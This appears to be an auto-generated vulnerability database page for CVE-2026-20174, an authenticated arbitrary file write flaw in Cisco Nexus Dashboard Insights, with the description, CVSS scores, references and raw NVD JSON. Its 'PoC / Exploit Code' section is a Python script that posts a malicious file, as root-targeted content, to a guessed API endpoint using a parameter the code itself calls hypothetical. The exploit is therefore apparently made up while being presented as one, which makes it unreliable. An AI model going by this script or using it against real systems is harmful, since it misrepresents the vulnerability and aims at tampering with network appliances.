CVE-2026-20174

Description

A vulnerability in the Metadata update feature of Cisco Nexus Dashboard Insights could allow an authenticated, remote attacker to write arbitrary files to an affected system. This vulnerability is due to insufficient validation of the metadata update file. An attacker could exploit this vulnerability by crafting a metadata update file and manually uploading it to an affected device. A successful exploit could allow the attacker to write arbitrary files to the underlying operating system as the root user. To exploit this vulnerability, the attacker must have valid administrative credentials. Note: Manual uploading of metadata files is typical for Air-Gap environments but not for Cisco Intersight Cloud connected devices. However, the manual upload option exists for both deployments.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Cisco Nexus Dashboard Insights (具体受影响版本请参考Cisco官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (example)
target_url = "https://<target-ip>/api/metadata/upload"

# Attacker credentials (Admin required)
username = "admin"
password = "password"

# Malicious file content intended to be written as root
# In a real scenario, this might be a script or a configuration file
malicious_content = "Malicious configuration data"

# Construct the payload
files = {
    'metadata_file': ('exploit_metadata.json', malicious_content, 'application/json')
}
data = {
    'upload_path': '/etc/critical_config.conf' # Hypothetical parameter to control path
}

# Send the request
response = requests.post(target_url, auth=(username, password), files=files, data=data, verify=False)

if response.status_code == 200:
    print("[+] Potential exploitation successful. File uploaded.")
else:
    print("[-] Upload failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20174
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20174
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20174/
[4] VulDB https://vuldb.com/cve/CVE-2026-20174
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ndi-afw-rJuRC5dZ

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20174", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:31.937", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the Metadata update feature of Cisco Nexus Dashboard Insights could allow an authenticated, remote attacker to write arbitrary files to an affected system.\r\n\r\nThis vulnerability is due to insufficient validation of the metadata update file. An attacker could exploit this vulnerability by crafting a metadata update file and manually uploading it to an affected device. A successful exploit could allow the attacker to write arbitrary files to the underlying operating system as the root user. To exploit this vulnerability, the attacker must have valid administrative credentials.\r\nNote: Manual uploading of metadata files is typical for Air-Gap environments but not for Cisco Intersight Cloud connected devices. However, the manual upload option exists for both deployments."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ndi-afw-rJuRC5dZ", "source": "[email protected]"}]}}